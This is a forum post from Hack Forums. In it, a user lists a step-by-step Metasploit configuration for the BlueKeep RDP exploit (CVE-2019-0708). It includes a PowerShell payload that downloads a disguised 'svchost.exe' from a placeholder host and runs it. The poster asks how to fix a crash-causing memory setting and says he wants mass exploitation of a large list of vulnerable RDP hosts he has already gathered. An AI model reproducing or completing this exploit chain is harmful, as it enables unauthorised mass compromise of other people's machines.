+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448)
+---- Forum: Pentesting and Forensics (https://hackforums.net/forumdisplay.php?fid=231)
+---- Thread: (CVE-2019-0708) - [BlueKeep] - Exploitation using Metasploit and custom PAYLOAD. (/showthread.php?tid=6118967)
(CVE-2019-0708) - [BlueKeep] - Exploitation using Metasploit and custom PAYLOAD. - PolymorphicZero - Nov 1, 2020
(The configuration used is as follows):
0) sudo msfconsole.
1) use exploit/windows/rdp/cve_2019_0708_bluekeep_rce.
2) set RDP_CLIENT_IP 192.168.1.7
3) set RHOSTS file:/home/michael/Hosts.txt.
4) set TARGET 1.
5) set ForceExploit true.
6) set PAYLOAD windows/x64/exec
7) set CMD "PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.google.com/svchost.exe','svchost.exe');Start-Process 'svchost.exe'". [I tried also with .PS1 (Powershell script generated from "Unicorn": "https://github.com/trustedsec/unicorn"; with annex D&E of my .EXE)].
8) set GROOMSIZE 50.
I tried in local using a VM (VirtualBox 6.1) "Windows 7". [In this case TARGET should be = "2"; and RHOSTS = local IPv6]: everything works well, but, unfortunately, I get BSOD; related to DOS invoked.
So, no exploitation success.
The problem to be solved is inside the GROOMBASE: ("NonPagedPool - Start"). That's wrong by default.
Even more complex in mass-exploitation.
Someone has any idea how to solve? Not important locally; (For that it's just needed to get a DUMP from the memory of the VM: to retrieve the start-address) I'm interested in being able to use that in mass-exploitation. (I already have a large list of "Vulnerable" RDP's).
Any contribute will be appreciated.
Thanks in advance!
Best regards,
PolymorphicZero.